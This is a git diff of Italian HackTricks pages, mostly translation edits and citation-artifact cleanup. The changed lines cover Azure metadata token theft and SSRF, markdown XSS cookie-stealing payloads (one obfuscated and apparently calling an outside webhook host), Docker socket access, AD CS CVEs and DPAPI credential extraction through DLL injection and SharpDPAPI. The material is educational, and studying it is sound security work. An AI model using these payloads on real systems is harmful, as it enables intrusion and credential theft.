> Quando richiedi un token di accesso all'endpoint dei metadati, per impostazione predefinita il servizio di metadati utilizzerà l'**identità gestita assegnata al sistema** per generare il token, se esiste un'identità gestita assegnata al sistema. Nel caso ci sia solo **UN'IDENTITÀ gestita assegnata dall'utente**, questa verrà utilizzata per impostazione predefinita. Tuttavia, nel caso non ci sia un'identità gestita assegnata al sistema e ci siano **più identità gestite assegnate dall'utente**, il servizio di metadati restituirà un errore che indica che ci sono più identità gestite e sarà necessario **specificare quale utilizzare**.
|
||||
>
|
||||
> Sfortunatamente non sono riuscito a trovare alcun endpoint di metadati che indichi tutte le MI a cui una VM è attaccata, quindi scoprire tutte le identità gestite assegnate a una VM potrebbe essere un compito difficile da una prospettiva Red Team.
|
||||
>
|
||||
@ -335,8 +335,8 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
>
|
||||
> ```bash
|
||||
> az vm identity show \
|
||||
> --resource-group <rsc-group> \
|
||||
> --name <vm-name>
|
||||
> --resource-group <rsc-group> \
|
||||
> --name <vm-name>
|
||||
> ```
|
||||
>
|
||||
> - Ottenere **identità attaccate** utilizzando l'MI attaccata predefinita nei metadati:
|
||||
@ -346,20 +346,20 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
>
|
||||
> # Ottieni token dall'MI predefinita
|
||||
> export TOKEN=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
>
|
||||
> # Ottieni dettagli necessari
|
||||
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||||
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||||
> export VM_NAME=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
>
|
||||
> # Prova a ottenere MI attaccate
|
||||
> curl -s -H "Authorization: Bearer $TOKEN" \
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> ```
|
||||
>
|
||||
> - **Ottieni tutte** le identità gestite definite nel tenant e **brute force** per vedere se qualcuna di esse è attaccata alla VM:
|
||||
@ -427,7 +427,10 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Azure App & Functions Services & Automation Accounts
|
||||
> [!WARNING]
|
||||
> Nota che l'endpoint **`http://169.254.169.254/metadata/v1/instanceinfo` non richiede l'intestazione `Metadata: True`** che è ottima per mostrare l'impatto delle vulnerabilità SSRF in Azure dove non puoi aggiungere questa intestazione.
|
||||
|
||||
### Azure App & Funzioni Servizi & Account di Automazione
|
||||
|
||||
Dall'**env** puoi ottenere i valori di **`IDENTITY_HEADER`** e **`IDENTITY_ENDPOINT`**. Che puoi usare per raccogliere un token per comunicare con il server dei metadati.
|
||||
|
||||
@ -548,7 +551,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
|
||||
# Get IAM credentials
|
||||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||||
```
|
||||
Documentazione per i servizi di metadata di varie piattaforme è delineata di seguito, evidenziando i metodi attraverso i quali le informazioni di configurazione e runtime per le istanze possono essere accessibili. Ogni piattaforma offre endpoint unici per accedere ai suoi servizi di metadata.
|
||||
La documentazione per i servizi di metadata di varie piattaforme è delineata di seguito, evidenziando i metodi attraverso i quali è possibile accedere alle informazioni di configurazione e runtime per le istanze. Ogni piattaforma offre endpoint unici per accedere ai propri servizi di metadata.
|
||||
|
||||
## Packetcloud
|
||||
|
||||
@ -592,11 +595,11 @@ Kubernetes ETCD può contenere chiavi API, indirizzi IP interni e porte. L'acces
|
||||
|
||||
## Docker
|
||||
|
||||
I metadata di Docker possono essere accessibili localmente, con esempi forniti per il recupero delle informazioni su contenitori e immagini:
|
||||
I metadata di Docker possono essere accessibili localmente, con esempi forniti per il recupero delle informazioni su container e immagini:
|
||||
|
||||
- Esempio semplice per accedere ai metadata di contenitori e immagini tramite il socket Docker:
|
||||
- Esempio semplice per accedere ai metadata di container e immagini tramite il socket Docker:
|
||||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
- All'interno del contenitore, usa curl con il socket Docker:
|
||||
- All'interno del container, usa curl con il socket Docker:
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||
|
||||
|
||||
@ -18,7 +18,7 @@ Puoi trovare ulteriori esempi nella [pagina principale XSS di hacktricks](README
|
||||
|
||||
### Link Javascript
|
||||
|
||||
Se i tag HTML non sono un'opzione, puoi sempre provare a giocare con la sintassi markdown:
|
||||
Se i tag HTML non sono un'opzione, potresti sempre provare a giocare con la sintassi markdown:
|
||||
```html
|
||||
<!-- markdow link to XSS, this usually always work but it requires interaction -->
|
||||
[a](javascript:prompt(document.cookie))
|
||||
@ -33,7 +33,7 @@ t:prompt(document.cookie))
|
||||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||
[a](javascript:window.onerror=alert;throw%201)
|
||||
```
|
||||
### Abuso della sintassi degli eventi Img
|
||||
### Abuso della sintassi dell'evento Img
|
||||
```markdown
|
||||
![Uh oh...](<"onerror="alert('XSS')>)
|
||||
![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
|
||||
@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
|
||||
```html
|
||||
<!--
|
||||
Fuzzing examples from
|
||||
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
|
||||
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
|
||||
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
|
||||
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
|
||||
-->
|
||||
|
||||
[a](javascript:prompt(document.cookie))
|
||||
@ -97,7 +97,7 @@ Fuzzing examples from
|
||||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||
[a](javascript:alert('XSS'))
|
||||
\
|
||||
[citelol]: (javascript:prompt(document.cookie))
|
||||
[lol]: (javascript:prompt(document.cookie))
|
||||
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
|
||||
[test](javascript://%0d%0aprompt(1))
|
||||
[test](javascript://%0d%0aprompt(1);com)
|
||||
|
||||
@ -8,14 +8,14 @@
|
||||
> Questi sono i **valori del Progetto HackTricks**:
|
||||
>
|
||||
> - Dare accesso **GRATUITO** a risorse di **hacking EDUCATIVO** a **TUTTI** su Internet.
|
||||
> - L'hacking riguarda l'apprendimento, e l'apprendimento dovrebbe essere il più gratuito possibile.
|
||||
> - Lo scopo di questo libro è servire come una **risorsa educativa** completa.
|
||||
> - L'hacking riguarda l'apprendimento, e l'apprendimento dovrebbe essere il più gratuito possibile.
|
||||
> - Lo scopo di questo libro è servire come una **risorsa educativa** completa.
|
||||
> - **ARCHIVIARE** tecniche di **hacking** fantastiche che la comunità pubblica dando a tutti gli **AUTORI ORIGINALI** tutti i **crediti**.
|
||||
> - **Non vogliamo il credito da altre persone**, vogliamo solo archiviare trucchi interessanti per tutti.
|
||||
> - Scriviamo anche **le nostre ricerche** in HackTricks.
|
||||
> - In diversi casi scriveremo **in HackTricks un riassunto delle parti importanti** della tecnica e **incoraggeremo il lettore a visitare il post originale** per maggiori dettagli.
|
||||
> - **ORGANIZZARE** tutte le tecniche di hacking nel libro in modo che siano **PIÙ ACCESSIBILI**
|
||||
> - Il team di HackTricks ha dedicato migliaia di ore gratuitamente **solo per organizzare il contenuto** affinché le persone possano **imparare più velocemente**
|
||||
> - **Non vogliamo il credito da altre persone**, vogliamo solo archiviare trucchi interessanti per tutti.
|
||||
> - Scriviamo anche **le nostre ricerche** in HackTricks.
|
||||
> - In diversi casi scriveremo **in HackTricks un riassunto delle parti importanti** della tecnica e **incoraggeremo il lettore a visitare il post originale** per maggiori dettagli.
|
||||
> - **ORGANIZZARE** tutte le tecniche di hacking nel libro in modo che sia **PIÙ ACCESSIBILE**
|
||||
> - Il team di HackTricks ha dedicato migliaia di ore gratuitamente **solo per organizzare il contenuto** affinché le persone possano **imparare più velocemente**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -123,9 +123,9 @@ Copyright © Tutti i diritti riservati, salvo diversa indicazione.
|
||||
|
||||
- Uso Commerciale: Per richieste riguardanti l'uso commerciale di questo contenuto, ti preghiamo di contattarmi.
|
||||
|
||||
Questa licenza non concede alcun diritto di marchio o branding in relazione al contenuto. Tutti i marchi e il branding presenti in questo blog/libro sono di proprietà dei rispettivi proprietari.
|
||||
Questa licenza non concede alcun diritto di marchio o branding in relazione al contenuto. Tutti i marchi e i branding presenti in questo blog/libro sono di proprietà dei rispettivi proprietari.
|
||||
|
||||
**Accedendo o utilizzando HackTricks, accetti di rispettare i termini di questa licenza. Se non accetti questi termini, ti preghiamo di non accedere a questo sito web.**
|
||||
**Accedendo o utilizzando HackTricks, accetti di rispettare i termini di questa licenza. Se non sei d'accordo con questi termini, ti preghiamo di non accedere a questo sito web.**
|
||||
|
||||
## **Disclaimer**
|
||||
|
||||
|
||||
@ -71,12 +71,12 @@ Possono applicarsi controlli specifici, come:
|
||||
I certificati possono essere richiesti tramite:
|
||||
|
||||
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), utilizzando interfacce DCOM.
|
||||
2. **ICertPassage Remote Protocol** (MS-ICPR), tramite pipe nominate o TCP/IP.
|
||||
2. **ICertPassage Remote Protocol** (MS-ICPR), attraverso pipe nominate o TCP/IP.
|
||||
3. L'**interfaccia web di iscrizione ai certificati**, con il ruolo di Web Enrollment dell'Autorità di Certificazione installato.
|
||||
4. Il **Certificate Enrollment Service** (CES), in combinazione con il servizio di Politica di Iscrizione ai Certificati (CEP).
|
||||
5. Il **Network Device Enrollment Service** (NDES) per dispositivi di rete, utilizzando il Simple Certificate Enrollment Protocol (SCEP).
|
||||
|
||||
Gli utenti Windows possono anche richiedere certificati tramite l'interfaccia GUI (`certmgr.msc` o `certlm.msc`) o strumenti da riga di comando (`certreq.exe` o il comando `Get-Certificate` di PowerShell).
|
||||
Gli utenti Windows possono anche richiedere certificati tramite l'interfaccia grafica (`certmgr.msc` o `certlm.msc`) o strumenti da riga di comando (`certreq.exe` o il comando `Get-Certificate` di PowerShell).
|
||||
```bash
|
||||
# Example of requesting a certificate using PowerShell
|
||||
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||
@ -87,7 +87,7 @@ Active Directory (AD) supporta l'autenticazione tramite certificato, utilizzando
|
||||
|
||||
### Processo di Autenticazione Kerberos
|
||||
|
||||
Nel processo di autenticazione Kerberos, la richiesta di un utente per un Ticket Granting Ticket (TGT) è firmata utilizzando la **chiave privata** del certificato dell'utente. Questa richiesta subisce diverse validazioni da parte del controller di dominio, inclusi la **validità** del certificato, il **percorso** e lo **stato di revoca**. Le validazioni includono anche la verifica che il certificato provenga da una fonte affidabile e la conferma della presenza dell'emittente nel **NTAUTH certificate store**. Validazioni riuscite portano all'emissione di un TGT. L'oggetto **`NTAuthCertificates`** in AD, si trova in:
|
||||
Nel processo di autenticazione Kerberos, la richiesta di un utente per un Ticket Granting Ticket (TGT) è firmata utilizzando la **chiave privata** del certificato dell'utente. Questa richiesta subisce diverse validazioni da parte del controller di dominio, inclusi la **validità** del certificato, il **percorso** e lo **stato di revoca**. Le validazioni includono anche la verifica che il certificato provenga da una fonte fidata e la conferma della presenza dell'emittente nel **NTAUTH certificate store**. Validazioni riuscite portano all'emissione di un TGT. L'oggetto **`NTAuthCertificates`** in AD, si trova in:
|
||||
```bash
|
||||
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
||||
```
|
||||
@ -124,9 +124,9 @@ certutil -v -dstemplate
|
||||
|
||||
| Anno | ID / Nome | Impatto | Punti chiave |
|
||||
|------|-----------|--------|----------------|
|
||||
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *Escalation dei privilegi* tramite spoofing dei certificati degli account macchina durante PKINIT. | La patch è inclusa negli aggiornamenti di sicurezza del **10 maggio 2022**. Sono stati introdotti controlli di auditing e di mappatura forte tramite **KB5014754**; gli ambienti dovrebbero ora essere in modalità *Full Enforcement*. citeturn2search0 |
|
||||
| 2023 | **CVE-2023-35350 / 35351** | *Esecuzione di codice remoto* nei ruoli AD CS Web Enrollment (certsrv) e CES. | I PoC pubblici sono limitati, ma i componenti IIS vulnerabili sono spesso esposti internamente. Patch a partire dal **luglio 2023** Patch Tuesday. citeturn3search0 |
|
||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | Gli utenti a basso privilegio con diritti di registrazione potrebbero sovrascrivere **qualsiasi** EKU o SAN durante la generazione del CSR, emettendo certificati utilizzabili per l'autenticazione del client o la firma del codice, portando a *compromissione del dominio*. | Affrontato negli aggiornamenti di **aprile 2024**. Rimuovere “Supply in the request” dai modelli e limitare i permessi di registrazione. citeturn1search3 |
|
||||
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *Escalation dei privilegi* tramite spoofing dei certificati degli account macchina durante PKINIT. | La patch è inclusa negli aggiornamenti di sicurezza del **10 maggio 2022**. Sono stati introdotti controlli di auditing e di mappatura forte tramite **KB5014754**; gli ambienti dovrebbero ora essere in modalità *Full Enforcement*. |
|
||||
| 2023 | **CVE-2023-35350 / 35351** | *Esecuzione di codice remoto* nei ruoli AD CS Web Enrollment (certsrv) e CES. | I PoC pubblici sono limitati, ma i componenti IIS vulnerabili sono spesso esposti internamente. Patch a partire dal **luglio 2023** Patch Tuesday. |
|
||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | Gli utenti a basso privilegio con diritti di registrazione potrebbero sovrascrivere **qualsiasi** EKU o SAN durante la generazione del CSR, emettendo certificati utilizzabili per l'autenticazione del client o la firma del codice, portando a *compromissione del dominio*. | Affrontato negli aggiornamenti di **aprile 2024**. Rimuovere “Supply in the request” dai modelli e limitare i permessi di registrazione. |
|
||||
|
||||
### Cronologia di indurimento di Microsoft (KB5014754)
|
||||
|
||||
@ -134,18 +134,18 @@ Microsoft ha introdotto un rollout in tre fasi (Compatibilità → Audit → Enf
|
||||
|
||||
1. Applicare patch a tutti i DC e server AD CS (maggio 2022 o successivi).
|
||||
2. Monitorare l'ID evento 39/41 per mappature deboli durante la fase di *Audit*.
|
||||
3. Riemettere certificati di autenticazione client con la nuova **estensione SID** o configurare mappature manuali forti prima di febbraio 2025. citeturn2search0
|
||||
3. Riemettere certificati di autenticazione client con la nuova **estensione SID** o configurare mappature manuali forti prima di febbraio 2025.
|
||||
|
||||
---
|
||||
|
||||
## Miglioramenti nella rilevazione e nell'indurimento
|
||||
|
||||
* Il **Defender for Identity AD CS sensor (2023-2024)** ora fornisce valutazioni della postura per ESC1-ESC8/ESC11 e genera avvisi in tempo reale come *“Emissione di certificati per controller di dominio per un non-DC”* (ESC8) e *“Prevenire la registrazione dei certificati con politiche di applicazione arbitrarie”* (ESC15). Assicurati che i sensori siano distribuiti a tutti i server AD CS per beneficiare di queste rilevazioni. citeturn5search0
|
||||
* Disabilitare o limitare strettamente l'opzione **“Supply in the request”** su tutti i modelli; preferire valori SAN/EKU definiti esplicitamente.
|
||||
* Rimuovere **Any Purpose** o **No EKU** dai modelli a meno che non sia assolutamente necessario (affronta scenari ESC2).
|
||||
* Richiedere **approvazione del manager** o flussi di lavoro dedicati per l'agente di registrazione per modelli sensibili (ad es., WebServer / CodeSigning).
|
||||
* Limitare l'iscrizione web (`certsrv`) e gli endpoint CES/NDES a reti fidate o dietro autenticazione con certificato client.
|
||||
* Applicare la crittografia dell'iscrizione RPC (`certutil –setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`) per mitigare l'ESC11.
|
||||
* Il **Defender for Identity AD CS sensor (2023-2024)** ora presenta valutazioni della postura per ESC1-ESC8/ESC11 e genera avvisi in tempo reale come *“Emissione di certificati per controller di dominio per un non-DC”* (ESC8) e *“Prevenire la registrazione dei certificati con politiche di applicazione arbitrarie”* (ESC15). Assicurati che i sensori siano distribuiti a tutti i server AD CS per beneficiare di queste rilevazioni.
|
||||
* Disabilita o limita strettamente l'opzione **“Supply in the request”** su tutti i modelli; preferisci valori SAN/EKU definiti esplicitamente.
|
||||
* Rimuovi **Any Purpose** o **No EKU** dai modelli a meno che non sia assolutamente necessario (affronta scenari ESC2).
|
||||
* Richiedi **approvazione del manager** o flussi di lavoro dedicati per l'Enrollment Agent per modelli sensibili (ad es., WebServer / CodeSigning).
|
||||
* Limita l'iscrizione web (`certsrv`) e gli endpoint CES/NDES a reti fidate o dietro autenticazione del certificato client.
|
||||
* Applica la crittografia dell'iscrizione RPC (`certutil –setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`) per mitigare l'ESC11.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@ -232,9 +232,9 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
|
||||
---
|
||||
### Gestione dell'Entropia Opzionale ("Entropia di terze parti")
|
||||
|
||||
Alcune applicazioni passano un valore di **entropia** aggiuntivo a `CryptProtectData`. Senza questo valore, il blob non può essere decrittato, anche se la chiave master corretta è nota. Ottenere l'entropia è quindi essenziale quando si mirano credenziali protette in questo modo (ad es. Microsoft Outlook, alcuni client VPN).
|
||||
Alcune applicazioni passano un valore di **entropia** aggiuntivo a `CryptProtectData`. Senza questo valore, il blob non può essere decrittografato, anche se la chiave master corretta è nota. Ottenere l'entropia è quindi essenziale quando si mirano credenziali protette in questo modo (ad es. Microsoft Outlook, alcuni client VPN).
|
||||
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) è una DLL in modalità utente che aggancia le funzioni DPAPI all'interno del processo target e registra in modo trasparente qualsiasi entropia opzionale fornita. Eseguire EntropyCapture in modalità **DLL-injection** contro processi come `outlook.exe` o `vpnclient.exe` produrrà un file che mappa ciascun buffer di entropia al processo chiamante e al blob. L'entropia catturata può essere successivamente fornita a **SharpDPAPI** (`/entropy:`) o **Mimikatz** (`/entropy:<file>`) per decrittare i dati. citeturn5search0
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) è una DLL in modalità utente che aggancia le funzioni DPAPI all'interno del processo target e registra in modo trasparente qualsiasi entropia opzionale fornita. Eseguire EntropyCapture in modalità **DLL-injection** contro processi come `outlook.exe` o `vpnclient.exe` produrrà un file che mappa ciascun buffer di entropia al processo chiamante e al blob. L'entropia catturata può essere successivamente fornita a **SharpDPAPI** (`/entropy:`) o **Mimikatz** (`/entropy:<file>`) per decrittografare i dati.
|
||||
```powershell
|
||||
# Inject EntropyCapture into the current user's Outlook
|
||||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||
@ -244,7 +244,7 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
|
||||
```
|
||||
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
|
||||
|
||||
Microsoft ha introdotto un formato di masterkey **context 3** a partire da Windows 10 v1607 (2016). `hashcat` v6.2.6 (dicembre 2023) ha aggiunto modalità hash **22100** (DPAPI masterkey v1 context), **22101** (context 1) e **22102** (context 3) consentendo il cracking accelerato da GPU delle password degli utenti direttamente dal file masterkey. Gli attaccanti possono quindi eseguire attacchi a dizionario o di forza bruta senza interagire con il sistema target. citeturn8search1
|
||||
Microsoft ha introdotto un formato di masterkey **context 3** a partire da Windows 10 v1607 (2016). `hashcat` v6.2.6 (Dicembre 2023) ha aggiunto modalità hash **22100** (DPAPI masterkey v1 context), **22101** (context 1) e **22102** (context 3) consentendo il cracking accelerato da GPU delle password degli utenti direttamente dal file masterkey. Gli attaccanti possono quindi eseguire attacchi a dizionario o di forza bruta senza interagire con il sistema target.
|
||||
|
||||
`DPAPISnoop` (2024) automatizza il processo:
|
||||
```bash
|
||||
@ -279,12 +279,11 @@ Con l'elenco dei computer estratti da LDAP puoi trovare ogni sottorete anche se
|
||||
* Raccolta parallela di blob da centinaia di host
|
||||
* Parsing delle masterkey di **context 3** e integrazione automatica con Hashcat
|
||||
* Supporto per i cookie crittografati "App-Bound" di Chrome (vedi sezione successiva)
|
||||
* Una nuova modalità **`--snapshot`** per interrogare ripetutamente gli endpoint e differenziare i blob appena creati citeturn1search2
|
||||
* Una nuova modalità **`--snapshot`** per interrogare ripetutamente gli endpoint e differenziare i blob appena creati
|
||||
|
||||
### DPAPISnoop
|
||||
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) è un parser C# per file masterkey/credential/vault che può esportare formati Hashcat/JtR e, opzionalmente, invocare automaticamente la decrittazione. Supporta completamente i formati di masterkey di macchina e utente fino a Windows 11 24H1. citeturn2search0
|
||||
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) è un parser C# per file masterkey/credential/vault che può esportare formati Hashcat/JtR e, facoltativamente, invocare automaticamente la decrittazione. Supporta completamente i formati di masterkey di macchina e utente fino a Windows 11 24H1.
|
||||
|
||||
## Rilevamenti comuni
|
||||
|
||||
@ -297,19 +296,18 @@ Con l'elenco dei computer estratti da LDAP puoi trovare ogni sottorete anche se
|
||||
---
|
||||
### Vulnerabilità 2023-2025 e cambiamenti nell'ecosistema
|
||||
|
||||
* **CVE-2023-36004 – Spoofing del canale sicuro DPAPI di Windows** (novembre 2023). Un attaccante con accesso alla rete potrebbe ingannare un membro del dominio per recuperare una chiave di backup DPAPI malevola, consentendo la decrittazione delle masterkey utente. Corretto nell'aggiornamento cumulativo di novembre 2023 – gli amministratori dovrebbero assicurarsi che i DC e le workstation siano completamente aggiornati. citeturn4search0
|
||||
* **Crittografia dei cookie "App-Bound" di Chrome 127** (luglio 2024) ha sostituito la protezione legacy solo DPAPI con una chiave aggiuntiva memorizzata sotto il **Credential Manager** dell'utente. La decrittazione offline dei cookie ora richiede sia la masterkey DPAPI che la **chiave app-bound avvolta in GCM**. SharpChrome v2.3 e DonPAPI 2.x sono in grado di recuperare la chiave extra quando eseguiti con il contesto utente. citeturn0search0
|
||||
|
||||
* **CVE-2023-36004 – Spoofing del canale sicuro DPAPI di Windows** (novembre 2023). Un attaccante con accesso alla rete potrebbe ingannare un membro del dominio per recuperare una chiave di backup DPAPI malevola, consentendo la decrittazione delle masterkey utente. Corretto nell'aggiornamento cumulativo di novembre 2023 – gli amministratori dovrebbero assicurarsi che i DC e le workstation siano completamente aggiornati.
|
||||
* **Crittografia dei cookie "App-Bound" di Chrome 127** (luglio 2024) ha sostituito la protezione legacy solo DPAPI con una chiave aggiuntiva memorizzata sotto il **Credential Manager** dell'utente. La decrittazione offline dei cookie ora richiede sia la masterkey DPAPI che la **chiave app-bound avvolta in GCM**. SharpChrome v2.3 e DonPAPI 2.x sono in grado di recuperare la chiave extra quando eseguiti con il contesto utente.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
|
||||
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
|
||||
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
|
||||
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
|
||||
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
|
||||
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
|
||||
- https://github.com/Leftp/DPAPISnoop
|
||||
- https://pypi.org/project/donpapi/2.0.0/
|
||||
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
|
||||
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
|
||||
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
|
||||
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
|
||||
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
|
||||
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
|
||||
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
|
||||
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user